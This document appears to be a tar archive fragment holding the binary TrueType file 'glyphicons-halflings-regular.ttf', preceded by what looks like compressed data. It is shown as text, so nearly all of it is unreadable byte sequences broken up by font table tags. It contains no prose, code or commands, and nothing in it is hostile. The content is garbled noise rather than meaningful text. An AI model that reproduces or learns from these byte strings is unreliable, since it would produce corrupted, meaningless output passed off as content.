�!ѩCҳ�j�6SSb�8�ã�6�K�)� ��=���(�N����Nf�$� �Ooަ�ʵ=�E�I�Wv��e�}��0�j�2��\��Y4��l
jj�Y
;։�w�s������+�3��
�B�.�–=7�Zg_A��id��Ys� ����q�h�md��4V\�D7k�P��4�#�m���)^����3�y߳���
b��PpTx��⶛U�S��k��?r�
�p:f��d��N�bNe��E҈#�h29�)I��t�T��w�.��ܙߎҿ������"<Q��hg�kPڃ��k!���D�q2#�\1Ej"P�b����b&`���p� �����| �!�8����@��@`T���)t�m�
��x���^�( �J\
P��b���m�W�Q�_�~�?��K��x��o=R�W��\����
}���z�㛕<��<vv+������v„����`%ϼz�~�f���or"8p$��Nl5&��^.�b�T��R�7���=�y�ӝ�qq%w*�%�H���! ���]ģ�
�`���c��HȓXA�7(�a*�0UP`�`�Tab��KÊ��)*DT$TW� �8!^B�@�n
��V<X�\��j�UW�T7UM:�*kT��Q�uDX�cTC�P�A��]W�ʺU�Ū��5ji�+��������/�ݞ�Nk܉�o���Gz�Jގ��:�x����U���8j��傫��ת��kz�Yڤ�j���&v�mڮ�*���r�Eʧ��۪Ef�ՕH��:��<�����QjX�����������Z�Aj�U��-WaZ��U�N��uFҪ*�Q4j��T9�(UB�"@N�uX3���U�ʮ�Up2��V̪�eT��˪
.��uvJ��U\jV����g'��"b$��a��ya�y����\(�'��$,�`B��XB�w����LH� ~	h8!��hp)Á.P<B����a�(���0"��-�� ��
����Ϧ+��Bܯӄ-��J3VY��� �cv_�:�*�\�s����-a�A����O0�!`�-3��a����p8̂���Y�����#U�@X'`�l��P)���o‘����n�+�l�x�ЇP;�Xxtm?49@�R;�S�p���x��B�kq’�L�^s;�$<��7�1^ӷ%�����'U7�ZH��叆�b������̚��-`mu�ǯȜ�}���F,
���\�W��G�GveFoB^qez�.�J��-?7���g�.�g�`��elo�3��ơ"3�H+���f�tR�4=w��G��Ee��� ix�]���3��>����N2]���,�:�(��^��	O���@^�圾����	B����4��zJ3Q��v	��0/�^��+�9�a���G\D	�G0<��s2������8�u� e@e�H�I�=�A�I�f�4<��Ӣ�GMJ.=-x���Q�`���5Ļ�Ȅ��b�{l�g�?�h��[*��>2���i�2D٠��cKpì���i��F=/>+���7>]����=���x��-�^	yM+�ɐ[ؘ ��:؞f3��&I���X�����s�8hK<{Z����}�nl���yM�C�����Cܴ��:ܚ��J{�b���
&�K�N���l������º&���_dw���O�H�?u'�qR�N�k��v_D��\wѾmβ��� =�bS�F4?�,�N�{��Ti�3I��Ėm]|-;멟�I�qOX~4��N���+)�G���(�Ӊ2��"tA��MP� 財l�R�!h��-Z1V;�E��P��8���;`8�8���s׵�4��Q�r!c���B����ՆY�*�+2Y���<��[�/L��Z������\	�~��6�m4q$��dұ�&���N}F���;���e)8ڰG8�.��۝\�[~e:j#][`�<�$$�e'#e��C�(�.$�O�6���	¹p��\F,.L1KŠ�(v�Im��*�|@��Y�I
��6��̜p@�mCp:�Q%ȯ衧r����Hh��vQP�"ي`�{�\v��RU
2���R�0#ѓ�$��p_�4I�hHt�(�w9z�;!L�{���y�Y�ǚ`t=�(�hl-\���[��	�)�eC슉�E24�bx��xKFI��̓
R>�(�DN��.Q�m�ǔ	[K��1(r\���E�M�Z3xㆤ����h!�4�mI��]V�}�b���^j���ƤZ�H%:4�NȤ�_���󓜩bDž�q�u�S,��R�Z�G#d
}>R��)(_iPyJ�g1�/����E-L��I�01/��lt��PʑJ�5t��T)��<oS�S�ou	fS�����QZ.�`\�L�xI��ۖ6�B'�i�@��r�3:Ň�J�٨�AP�h���%�Vm�<�9E�Pe�ȳ����,2N��0�V���Zȯp��4�N�E/5�S���"�(�缾�1lq�{5�5٘+��d����rd
�NZCRBq�vL�g�>M�U*f,�=�Mɀ���Cm�C���d�� �;&�Gg^��\������Db�=u���1���xp�F;�3�8(��A�}���(����`�8���`'
�Vm�mBN`�]���["n�L`�1�n�p�K
�ctE�z9���E*�����ȴw�띞�A�2��j-b5���R��L�V#e����m�1A�[g��9���EM�8͘A�c6���F�����9=f�S��a���ԓ@���6��4�Le�M��j�]	
���xN^�����q��zh�Q#�l�/p-H�؜m�d-�%6�E�� F�#SK.��t͹�q��
�:%=����ŐFtj�l:[K�2�r���F
��oZ���i�k��E���ݼρƊ�P?"#k�$m
�.���W�FszQ$9
h��c��S`
.��}IV�)59�>�ƜS~�"�C�R���]�-!�&�E��}7���*��ࠓ��Ao�K��E
�G��֭d�&�ڒ��}e���48�<0��?xi!&���/�nhi��/pG@]q�[Ф���J-Budggȯ�Ty�-^%?����v2�t1B��A�Ȱk�����e����*M|���Cn�GT���k�5�{Al4��@"�JHX���J1���y��Rv���6���)��̾b��y����ƴ5��.
Ik�Uh�;!������m0��9�jg�rM��W�az�&P+_��WE��������@����������(x��ٱ���`A�H*�jnLb���0i[Pj���DzZ�R�"<VVC.S"����U*f� !�ul�=Ϩ%�O�=�����)��*Ub�Hc6s���e����^�P���/#�!JZ�G�V�yj1rd.���b�^�J�t	_v)�"H)�C���Df�.D��Ɛ�䒋�> '�L�w~�I� ����H3P4�6BKB���	TbtJ�,`ș>9��W9���4�V�N�V��l1�JC���3Ҥ��Xh+TRf�Il�vZ�%�̎��)�-�����/á;��r��Ýz��󵞖��-A*�i��L9V��H��W��x���SHX�e��%&,
�l����t�S�)XTM̀)���l��%����<d�
&E9�Ǒ�j�=��8�0%�:��/3�G%��=r=�\��NO�]�S�e���ɖ
�!_�y��h���=�9Z̯�b犋�*�KZ4��)��V�hϵ���N?Q�؉��3A�4��Y����4VH��f���
,E���f��ul͡ڔݥ��d���bĥL�7�c`%�&APɒ6���]�,��%/&	���XkL���O��YP�!�&�x�$@�3CԂh��-pe�h�a�u
�6b��- ��hv��G�>���h]Z�P������Wq�cE��x�rh�u�P��4r�ã�#�ZI�)\my
!߯/'y�ɬ�iLH1D��)�xWW��^�Q�ͭ�g6%s�Nsz�m��,Y��E���e���2͗��V��
@ʔ��,� I�j�=�wOb�4��6�r!�"o���2~��}�d�#)?!��/�	5�W�K#�~�8�M>�e���lK�\C߫��W�L�Ɲv:R�
<���W���pS�-’�2�2P��БB6��U[e٦�7x�R�w4������h�7m�ϝ���ս�	�9�6HrX\����hʁD�3T��e<���$_� wX����2�8�TYM���[������L��ѷ`�`ΪA�ۊ��t��4���z�����G^c:����r���(L�ޔ�e�ZY��nq%�XIYn
�1
�Z��X�G���F�:���(Ô�7VP	��nOH)bdZ�d���$��ɰf(�<.{��:6�0�pkR>��W��q]?$9�>�W��zH�^�b7��bY8k��.��H"�þz�_�̱��<ī�K01`_Вm�˴���6��.v�I�2!-43R�_G3���ʛ��a�墳eo����.!���	J�1�Z� �MTK��9�#QO��[�����|���JdH`��Q}��F�6�<�D�O*läL��1�������a8�+t�C�rZ��m�71B&�(�U�/PBtv� +G�j3���Q&Hsw}���+PE� �L
,�%XQJ�
�װ��~��J\��ɄH���} ���*j���v�R$^���B�Vƹ@eH���u�����2�c���a&�� �M�:��%�K�؀P:�F�S!���̒�8��QD�g׃��GZ��\�ȕq�ʞMW����CIg��/�=���!!�h�j-9e��(���^��<Md$�"�>]���ޱ�!�v�&m4K1 7О'D��+�����L�~���
�@�rIcE�pj�H�FeBb��r-8�$pm�b�ETZ�uiZ�y����p���X8(����F�%��V΍&�0��W�`њ��H�}�I�{_�O����\}��`)P� ��!"�ϴ�t�m'��	Jy7xF�ʑEԈc����!x����y��^��B���405D�gF/����]O6�zq�L��l����~G��
�`�ٟ�(�o�W��ƀL�j'â�<q��Ѹ�`��j#�M�����%�D ��h�B=6��0B���{�cM�QV6�j��ą��Ῠs&ٛ�C�((�^���|�H-�P �ԍ7
��VSI�Z�+r��V�p7���{?�Al�مp��`�+�,j�[bp�ZA)�0�:(t���
��Zю��f�3>]N�'�>a�E�K�qB
�ʈڣ�_���1�)�����?H����#�|�~�E�5Z$%/��n+�>�W0) |�J��(�+$�Z�8�=f�bG��\v{"�`���{څ��B�}�d嵻��c�j�6�
�	���ɘ�(����Q`���:Jܖz���ц����Q33⡙���/�,tmM�@!���	"`S~ʈW%�蕥o\a�Ҿ��k{�ӟ�B')ֲ��8z�gI�2�90G�YN�R҅�u����iKn�b�
�螅4	# 5�0	�A̲�k�ee�� ������#ے_a��d��#f��������P��%���~�p�*'�Ҟ�U���q��;n.2���T~;P��7
P�E�x�4���o'|��9̀^�>��!
\��,���z����lt���	>�ʼn�[�\��Z= L��� *��4U"��3d�uM����}=�U&{�t�|�h�ٯ���k�Jpj����m��F~3���=�����v������](�
���
cҵȇ�|QQ�h+�J�8�������|#&@�vNҾBm��4G�y��^$+��ӔN�g 	�Vp��U�	�d�П���9N�虲���(40ٓY�� 9�ͭO�
JqC'��H��iC�l'���R�r«!"B�I�˲A�!YؽǕrm�R��#Er��{#M@�^� \�&��]�2��dG@\�@��Sn|X�SKa�����p�ʷ&�y�q�H[�PJ��t�!�z�����Ubwa_�m�vЦ�
���.�V8yѳ-$u"��1Y��a�L8Y�
�X�h�Mbd��YcI-31j���h A���v	qMɧ.�m�  M ,�8����(�Ą[gi@%��Ѱ��7�̓!(��2uШF�V;vdz_"[���Br%Eȸ�`'lIi)���>�YKzz�?7�zӐہ���њ)'��<�{��a�[,��á��_a�u�7���IU�#���/�����Jy�Ek�����-Xiѹ�7Qf"��d�u�!fF1N4l�9�������2mD�8��hu�*8;\��Z��Ygc��}�\��L"vY��X����^�|"��c���Չh�-T��!۲2:�)���7"? 
9��<D<M9��X1�]K�U3e��#l���W����(�6��B�%A�����2��%zI5�d��Y�z�����z�0)���1.YC*�
��
_�X����6�}u��HSq]{O���)�qq�v��?A��i�����e8*n�D��ۻ�[����ޚ����B\���D��g��:k�Ydb�J�����Kd#<�Qx�}�eD���-�ő���X�Q�nG+`
�B����{GX#�9G	�����mHƍ�$��o��UGR�I|Bm��:*���5!��&rǃ�1S�n�xX��cdd�D��p�9�t���}o�i�e�z�:���g���:4X�b��f@�� O�bk[��z�'N@�.#R�>rug�L�}"�3H�@B�(�%0��(�%���a��.���m���;6+D���#1>C炏�3l�V�B
	�yHwg�LnF�c0���&�a��9���zf��'n�-�ʊ�
���h�F rD�C��DH��2�CW1��8�^�7��æ`vGM�};�E.��a��ѬE��u��'xF�'�{��ʐTG�?�1Ͽ���	s�GzD:�"��9�R6�š��o�^�^Z�<h������Z�?��86�y;ٗ�F���(Y�˰�\D����F+#ErMfonts/glyphicons-halflings-regular.ttf000060400000120424150710775200014202 0ustar00FFTMh���GDEF8 OS/2g�K�X`cmap�HL�jcvt (�$fpgmS�/�,egasp�glyf*ϣ���headk���6hhea
2��$hmtx�����loca2�Tz��maxp��� nameԾ����|post�A�V�X�prep��+��.webfa�R7��=���].��]}����Z��2�UKWN@
���| dHN@
 +� 
 / _ �"&'	'��	��)�9�I�Y�`�i�y���	��)�9�F�I�Y�i�y������
 *�  / _ �"&'	'���� �0�@�P�`�b�p����� �0�@�H�P�`�p�����������f���ߴ�h����	      ������xrlf`_YSMGA@��(��,�K�LPX�JvY�#?�+X=YK�LPX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-��(h .�/<��2��<��2�/<��2��<��23!%3#(@���� ��(�ddLL$�/�
3�Ͱ2�/�ְ2�Ͱ2�+015!'737!!'#'7d���ȷ�������ȷ���ȷ�������ȷ�������LLJ�
+�/�3�Ͱ2�
+�@	+�/�
ְ2�	Ͱ2�	

+�@		+�
	
+�@
	+�
+01!!!!!�,��p���,��p��p�d��7v�2/�(Ͳ(2
+�@(.	+�/�!3�Ͱ2�/�3�Ͱ2�/�Ͳ
+�@	+�8/�7ְ2�"ͱ22�"�-+�2�.Ͱ2�9+�"7�9�-� 2999017347#7367632#4.#"!!!!32>53#"'.'ddq�d�%Ku��p<�3LJ9D?{d���d��	09C3JL3�ak��w$B�d/5d�Z��gj7X0,Z>d.6dJtB+0W5�ju�.�x��L��/���/�+01!!���|�,��,�A�/�Ͱ
��/�+�
�99013!2654&#".#"qO�x��x.,,�n��BU�Pr�zx�awיkd�L

57%	�����P,��XX��,d���p�X���[�,�������%'7'7764/&"
M�Z�f�V�c

�$
p�Q�f�V�\
'�

1��	3�+�Ͱ2�
/�ְͲ
+�@	+�
+�@	+�+01!!!5!��,��,����dd&L� &7>5%&7>54&&$�OAXX@JOW�OFS
�
@JO�n)`*^���r67)Q7q
�
�O����Y�+�/�Ͱ/���/�ְͰ�+�ͱ+��$9��9��	9��9��$901 "'#" 6& �N,m��w�ȃ���������Ȏw��m,Nl����dX�D�/�ְͰͱ+014>>.d8Zwwy,0{xuX6Cy��>>��yC@vS-IDEH-Sv@9y��UU��y��G��
!3!	7Hߒ���������� ��p��?����?��G��
�
/�3�Ͱ2�/�+01!3!	77'7#'Hߒ����������C�I��J��MN ��p��?����?t�⌍�����155"&=462#�%?���?%��d�3�|��|�3�d���
�L#'+/3��+�ͱ 22�/�"3�Ͱ$2�/�&3�Ͱ(2�/�*3�Ͱ,2�/�.3�Ͱ02�/�233���4/�ְͳ$2��+�	
$2�Ͱ2��+�2� ͳ$(,0$2� �!+�%)-1$2�ͱ5+��99��99011!%35#535#535#535#535#!!5!!35#535#535#535#535#���dddddddddd�X��X���ddddddddddL��dddddddddd�|�d��|dddddddddLL/?B�
+�,3�Ͱ$2�/�<3�Ͱ42�@/�ְ2�	Ͱ2�	� +�02�)Ͱ82�A+015463!2#!"&463!2#!"&463!2#!"&463!2#!"&��p��pX��p��p2��pm��p����pm��p	LL/?O_o�v�
+�<l33�ͱ4d22�/�L|33�ͱDt22�-/�\�33�$ͱT�22��/�ֱ 22�	ͱ(22�	�0+�@P22�9ͱHX22�9�`+�p�22�iͱx�22��+01=46;2+"&546;2+"&546;2+"&546;2+"&546;2+"&546;2+"&546;2+"&546;2+"&546;2+"&��������������������2�����������������������������L/?O_V�
+�<3�Ͱ42�/�L3�ͰD2�-/�\3�$ͰT2�`/�ֱ 22�	ͱ(22�	�0+�@P22�9ͱHX22�a+01=46;2+"&;26=4&+"=46;2+"&5463!2#!"&5463!2#!"&5463!2#!"&���������D��D��D2�����������������"�*	''�2����\4���jjFF	7			j��������>������������'��+�/�Ͱ/�#3�Ͱ!2�
+�@&	+�
+�@	+�/���(/�ְͰ�&+�2�%Ͱ 2�%&
+�@%#	+�&%
+�@&	+�%�+�ͱ)+�&�999�%�9��$9��9��9��$9��99901 "'#" 6& 53533##5�N,m��w�ȃ�����Fd�dd�����Ȏw��m,Nl�����Y�dd�dd����]�+�/�Ͱ/��� /�ְͰ�+�ͱ!+��$9��9��	9��9��$901 "'#" 6& !5!�N,m��x�ȃ�����F��p����ȍy��m+Ml�����Y���+E�/�
��,/�ְͲ
+�@	+��+�Ͳ
+�@	+�-+��#$90147 654&'5".;2654&+"ҧg|�b�|g��[���՛[�ddX�(>�7�x����x�7�>�طv՛[[���d��0�+�33�/�ְͰ�+�Ͱ�+�ͱ+0173#33333d��,�d�d�,��� ����P��GQb�/�PͰK/�6��R/�ְHͰH�M+�$ͱS+�H�=99�M�39$9�$�/99�P�99�K�!'E$9�6�+A9901732?6?67'76?654/&/7&''&/&#"'462"&�P-<�-1&("/&./�80P��P,<�-0&("/&2,�;.P
�g~�~~�~Y!)&1,�;.Q
��
Q,=�,1&("-&3*�:/Q��Q/:�/.&0X~~XY~~d���#'+/37��!+�$Ͳ(04222�'/�*26333�Ͱ/�ͱ,22�//�	��8/�ְ$Ͱ$�%+�2�(Ͱ,2�%(
+�@%	+�(�)+�0Ͱ0�1+�-2�4Ͱ
2�41
+�@4	+�4�5+�ͱ9+015463!5463!2!2#!"&!#!"&73#3#!5!3#3#d
;),);
��d�;)�D);ddd�dd,���dd�dd2
d);;)d
2�n ��)<<)��D�,d����D��
,�	+�3�/�	ְͰ�+�ͱ+��901	#!!!������Y��|����pXd��"�+�/�ְͲ
+�@	+�+017463!!#!"&d����X,~��],������
/�Ͱ/�Ͳ
+�@	+�/���/�ְ
Ͱ
�+�Ͳ
+�@	+��+�ͱ+�
�
$9��	$9��
$9��$901$  $ 6& 33�D�������V��Gd��D�����_����V����d���.�+�3�
/�Ͱ/�Ͳ
+�@	+�2�/�+01#333!#3#d�������)�(1�����,�P��p�,L�J�+�Ͱ/�	Ͱ2�/�ְͲ
+�@	+��
+�
ͱ+��	99�
�99011!3!3!%35#���,���ᯯ�,���p�d��c�
+�Ͱ/���/�ְͰ�+�Ͱ�+�	ͱ +��
$9��9��$9��	$9014>2". 6& 333_���ޠ__���ޠ\�T��P�Ȗ���ޠ__���ޠ__�����T�d,�����a�
/�Ͱ/���/�ְ
Ͱ
�+�Ͱ�+�ͱ+�
�
$9��9��	$9��$901$  $ 6& ##�D�������V��O�����D�����_����V�b,���,��)�
+�
ͱ22�/���/�+�
�99015!3#!"&3!73!� �����2,2�a�����D�%������F�
/�Ͱ/���/�ְͰ�+�ͱ+��	
$9��$901$  $ 654& �D�������V���:)�D���������������S�/�
Ͱ/���/�ְͰ�
+�	ͱ+�
�$9�	�99�
�	$9��9012>5# &632!&#"[���՛[��������n�����v՛��՛[[��v���b�Q���z[���!z�+�/�Ͳ
+�@	+�
/�Ͳ

+�@
	+�"/�ְͰ�+�ͱ#+��99��
!$9��	99��!9�
�	99��9014>327!7&#"!32653#"'[��vƝ��p�p���I��p����[��vƝXv՛[z��p�P������P��v՛[z
d��#'P�/�3�	Ͱ2�/�3�
Ͱ2�/� 3�Ͱ!2�/�$3�Ͱ%2�(/�ֲ222�Ͳ222�)+013!!!%53'53'53'53!5!=!%5!%5!dL��d���dddddddd���������|ddd�dd�dd�dd��dddd�dd�ddL�#J�+� /�	��$/�ְͲ
+�@	+��+�Ͳ
+�@	+�%+� �$901546;5463!232#!"&!54&+";)dvR,Rvd);;)�|);�,�dX);�RvvR�;)��);;�dLL�+�/�ְͱ+0133>>7.ddd<�x|rjd)({���tZL���<0
!OQ�QE
((
EQ��!1Ag�/+�>3�&Ͱ62�/���B/�ְͰ�"+�+Ͱ+�2+�;Ͱ;�+�ͱC+�2+�$9�&/�$9��9901;2654> ;2654."46;2+"&%46;2+"&2���2c���ޣc���X��,�rr���,tޣcc��t����4��4�X�!!7'77',,������G��G��G���� ����G��G��G���p��/�ְ	ͱ+01!!%7'654,,����EojCV�� �95����6n���b�<�/���/�ְ	Ͱ	�+�ͱ+�	�$9��	$901!%%7'65477654/,,���EojCV^{wQ��������5����7n�������B���
��!/3?CGKO�+�0D33�Ͳ)1E222�/�'+L333�Ͳ%-M222�"/�33�#Ͱ2�/�H33�!ͱ4I22�P/�ֱ22�ͱ22��0+�
,22�3Ͱ52�3�.+�*2�%Ͱ@2�.%
+�@."	+�222�%�7+�DH22�;ͱ&J22�;�L+�B2�OͲ9=F222�Q+�0�4?$9�7%�()8999�"�89$9�#�:;999�@	67<=@C$9011!#5##535!535#!!!5335#5!3##5#5355333!5#53!!5!5353��d�d�dd�d,��,�dddd,,�d�dddddd�,����,�,��ddd�dddddd,��,���,���dd�d�d��dddd�dd����d�p,���dd�dd�Ddd	��#p�+�333�
ͱ22�+���$/�ְͰ�+�2�ͰͰ�+�Ͱ�+�Ͱ� +�#ͱ%+��99��990153#5!'353'3535353'3ddd,�d�dd�dd�d���Pdd���[[���[[���[[����)�+�/���/�ְ	ͱ+��99901463!	2764'&"
�����SS��
�D��TT��1�+�3�/�Ͱ2�/�ְ	ͱ+��$901463!	2764'&"%3	'�����TTd��2����D��TT��D�2�d��
?�+�/���/�ְ
Ͱ
�+�ͱ+�
�999��9990137!!!d��d�d���d�d��L�
3	4&#!"�������E~��'Y�%+�Ͱ
/�Ͳ

+�@
	+�2�

+�@	+�2�(/�ְͰ2��+�2�ͱ)+��'"$90153!73#5!!7.#!"7>3!2#!"&�dXd���5(P>^
�>
B&
�
&
��
d���D���||Z���

�
d�L%-1o�/�%Ͱ)/�-Ͱ!/���2/�ְͲ
+�@/	+��'+�+ͱ3+��9�+'�!$% $9�-)�"#$9�!�.199��/0$90153!2654&+.+"#"462"264&"%53;)�);;)�37S*�)R:.�);d�Ȑ��>X>>XXd�);;)X);E5+);;;)�pȐ�Ȑ X>>X>^dd5��"�+�
3�Ͳ222�#/�$+013!5".?!#!5&'./#5m)>$\�R+5�"(�]�q*k�.tB6,��-WBB*.
�0�Ɍ��d�� )1e� +�!Ͳ +�Ͱ)/�*Ͱ1/�
Ͱ
���2/�ְ!Ͱ*2�!�.+�Ͱ% ��ͱ3+�%.�9�)!�9�*�9�1�90135>54.'5!2#'32654&+532654&#d);	$�x�!"E4+v�OȡY�}^��Ll��Y3(;
F��7]7(3AvFT�M�aTZ�d{MRa�o� �+�Ͱ2�/�3���/�+0135>76&'.'5!�Ms�
(G	�!:"�
0G9C/Q8$99#'%��4<9���	%~�+�/�333�Ͳ
+�@	+�
2�&/�ְͰ�
+�%Ͱ%�+�Ͳ
+�@	+�
+�@	+��+�ͱ'+�
�99��	9��901'3#7#33!3#4.+!57#"KKK}}KK}����2.!"�d�pd�"!/� ����c,��'	��2dd2R	'!����	%��+�Ͱ/�3�Ͳ
+�@
	+�2�&/�
ְ%Ͱ%�+�Ͳ
+�@	+�
+�@	+��+�ͱ'+�%�	$9��$9��99��99901?!55!3!3#4.+!57#"!� ����d���2/!"�d�pd�"!.3}KK}}KK�,��'	�v2dd2�	'�L/?53!26=4&#!"53!26=4&#!"53!26=4&#!"53!26=4&#!"L�� ����X��2d�d�d�d�L/?53!26=4&#!"3!26=4&#!"3!26=4&#!"3!26=4&#!"L��L�����D��D2d�d�pd�d�L/?&�
+�Ͱ-/�$Ͱ/�Ͱ=/�4��@/�A+01=463!2#!"&5463!2#!"&5463!2#!"&5463!2#!"&L��d��� ���X��2ddldd��ddldd�L/?&�
+�Ͱ/�Ͱ-/�$Ͱ=/�4��@/�A+01=463!2#!"&5463!2#!"&5463!2#!"&5463!2#!"&L��L��L��L��2dd@dd@dd@dd�L/?O_oR�
+�L3�ͰD2�/�\3�ͰT2�-/�l3�$Ͱd2�=/�|3�4Ͱt2��/�ֲ 0222�	Ͳ(8222��+01=46;2+"&546;2+"&546;2+"&546;2+"&5463!2#!"&5463!2#!"&5463!2#!"&5463!2#!"&dddddddd, �� �� �� ��2dd@dd@dd@dd��dd@dd@dd@dd���L
*:J �/�&3�Ͱ.2�K/�L+��90153553#3!26=4&#!"53!26=4&#!"53!26=4&#!"5;26=4&+"eɦ��dd�X��,����dd�dK}}K�L��d�d�d�dL/?CJ�@+�K/�@ְCͱL+0173!26=4&#!"53!26=4&#!"53!26=4&#!"5;26=4&+"3535#5X��,����dd d!���2d�d�d�d��L��&}KdK���-�
/�Ͱ��/�ְ	ͱ+�	�9�
�9901463!2#!"&	,�,,�,�,�,,�v,,d,���LY�
+�/�Ͱ/��� /�ְͰ�+�Ͱ�+�	ͱ!+��9��99�
�999��9015463!2#!"&?'!462"X��d�*J%�lNpNNp,����>����pNNpN����=�
+�/���/�ְͰ�+�ͱ +��
99�
�999014>32.'&73264&"�y�z{�yII�99
"c]s+?—jk��֖�|ׁ~��r�BB	"ko�K��k��֖���I�
+�Ͱ/���/�ְͰ�+�	ͱ+��
99�	�99��	$9014>2".3"_���ޠ__���ޠM�����ޠ__���ޠ__�	���Vu�%4>7.77.'&6?uDmssIOWM?%N~�OrÀ~[[.
		\7�^����`G�vwsu�EY�d;^�RlbJ(I�43n��h!&W�+�Ͱ/���'/�ְͰ�+�ͱ(+�� $9��"99��!$9�� "#%$901463!"3!26=7#!"&%7'	7/�n���);;)�);��ԥ����r�k�qq\�,���;)�);;)}����j2�q�k�qqU�L.H�+�Ͱ"/�'Ͱ	/�Ͱ���//�ְ
ͱ0+�"�$999�	�%9��&901463!#"3!2657#!"&>	"��U�);;)�);��ԥ��gg_h��HCVC9�,��P X;)�);;)�5���!&4	�D>�3Cm�L#R�+�Ͱ	/���$/�ְ
Ͱ
�+�ͱ%+�
�"$9��!9�	�"#$9�� !9901463!2!"3!26=7#!"&	''�,<C���);;)�);��ԥ�V6��R��,���;)�);;)Eȩ������7��Q���E�+�/�3�Ͱ	2�/�ְ2�Ͱ2�+��99��
99��990135#	#35	5#3	35#,��,'��,��������[(��,���������,����L�+�3�/�ְ
Ͱ2�+01746;2+"&�d�d2��K��J�L�+�
33�/�ְͰ2�+01546;2+"&d���d2��K����J��L�+�3�/�+01�4�&&����LL3	���|&&�d��7;2654&+";2654&+"������� �� �dL�73!2654&#!"� ��� (L�+�3�/�+011	�4��L������L�+�33�/�ְ2�
ͱ+01146;2+"&5��dd�L�������,�L�+�3�/�ְ2�ͱ+01!46;2+"&5,�ddL����d��(�
/���/�+0175463!2#!"&!d��L��dd4���7	'�P�a�W���aa���Rt%	7a���<���aa������B�
/�Ͱ/���/�ְͰ�+�ͱ+��	
$9��$901$  $33535#5##�D�������������D�����젠R�������I�
/�Ͱ/���/�ְͰ�
+�ͱ+�
�	
$9�
�99��9901$  $!5!�D������X���D�����젠R���2�
/�Ͱ��/�ְͰͱ+��99�
�
9901$  $77'7''�D������SՍ�Վ�Ս�ԍ�D�����젠)Վ�Ս�ԍ�Ս��2�
/�Ͱ��/�ְͰͱ+��99�
�
9901$  $	''�D������k���f�D������������f��6:l�
/�7Ͱ:/�'Ͱ!/�Ͱ4/���;/�ְͰ�.+�ͱ<+��!499�.�	(89$9�':�99�!�*9��.999�4�9901$  $32264>:323>54.#"35#�D������Ȑ	'�-"#1D1i�����D�����젠
=&
)2X23L(p��d��;�
/�Ͱ/�3�Ͱ/�Ͱ/���/�+��99��9901$  $7!5#!3#35#�D��������d��ddd���D�����젠�d,d��d��1i�+�/�!Ͱ2�/�#333�Ͳ%/222�2/�ֲ+222�Ͳ	 )222�3+��$%01$9��9�!�9�� *+9990153>7533##5.'35367#53.'#53�*EkI�6vk���YȌ�`oKȕ4��fI�Kn���<YS7
��P�E�f�!���}Im��0��Jk��kH���F�
/�Ͱ/��� /�ְ
Ͱ
�+�ͱ!+�
�	
$9��$901$  $ 6& 7'77'�D�������V��I��m��m��m���D�����_����V�ۇ�m��m��m����F�
/�Ͱ/���/�ְ
Ͱ
�+�ͱ+�
�	
$9��$901$  $ 6& 77�D�������V��k�W̎���D�����_����V�#�W͎����F�
/�Ͱ/���/�ְͰ�+�ͱ+��	
$9��$901$  $&#"32654'�D������>8dt���ap��;�D������sd7>��;�pac���/���/�+��901!!XX��#����c���/���/�+��901!	XX���,,�;�@-�J��+�/�ְͱ+��901	!!������XX����Xh���+�/�ְͱ+��901!!!h(,*�?XX������L
5>7	F��X��_���Ȅխg�;�@-$Du��
�+�/�+011!�&��ځ�&��p���&��ځ	�&���"#��
7'!'	"'�������'��ف�'��p���5��'��ق��#O�
/� Ͱ#/�Ͱ/���$/�ְͰ�+�	ͱ%+��
!#$9�#�	99��99014>2".;2676&+"35#[���՛[[���՛V:#6#:�0����՛[[���՛[[�F��.��d��&*04;3�'+�13�*Ͱ22�</�1ְ2�4Ͱ2�=+�41�5:$9013!3!535#<&/.#"&/&#"#!!"6?!7#d���do"=' ��!'=
#od��pd"������  �,���d
�'0�
�.&�
�|��`0/��|��p��)W9����2�+�3/�'ְͱ4+0157.>7>7.#676%>7>'&"�	8./ie���h,Jhq�x{\Sc'C78Fak[)!#�==��Y��5<�b�;<U3-9���ЛU3	7
SB�&?_�T2	3s  ��oD�H#�I/�ְEͰE�<+�J+�<E�:69901>7>'>7>76''&'.7.7o	FFB:8( OV
	$9DkC@&��'GOS3
*gJ.&:4?�B8-
%>=B�'P�d!I, =CnC�Sm,U�!�ٕfm�S;4(
.MV .n��}�3!?GC�/�)Ͱ:/�	��H/�<ְ7ͱI+�7<@
	)(5>@C$9�	:�$.5>BG$9017>2".'72>7.'"&5477./=FOsv���vsOFFOsv���vsOF�C-[Tz�wRY,H7:91���.f�1ii%LX(
(WT`G//G`TW(
((
(WT`G//G`TW(
(
`=^8+(3\;hI%E:JY|��|UIWs|Ci`$$���� )A��+�3�B/�C+�6�=���+
�.�����
���+�+�+�+�$+�%+� � �#9�9�9�$9�%9�9�
$%........@

$%..........�@017>3273#7.'77.547?./7>7&'7=FOsv�H=<%��Ɣ%R�ri'
�ҷ%k�.f�1i/:(&-/"0/a+'C�.
%Ze�X(
(WT`G/��P�egy8(��6��nUIWs|C/WR���&2&?@0�6�@((4kbf���&3!26'.7	!5#5#o%%�~8�~������dd�DDG  ! ��d�-dd���,dd��)H�/�	��*/�%ְ2�Ͱ2�%
+�@	+�%
+�@%#	+�++�%�99�	�%99015467462'%/#&=47&dkX|Xk��d^�^d��)1ES>XX>����1)
���[@	NN	@[�
L�	#'+/37;?CGKOSW53!265!5!54&+5#!5##"53'53'5353'53'5353'53'5353'53'5353'53'53���L�d�d�dddddddddddddddddddddddddddddd2�d�dddd�Jdd�dd�dd�pdd�dd�dd�pdd�dd�dd�pdd�dd�dd�pdd�dd�ddx�
A�/�3�Ͱ2�/�3�Ͱ2�/�+��99��
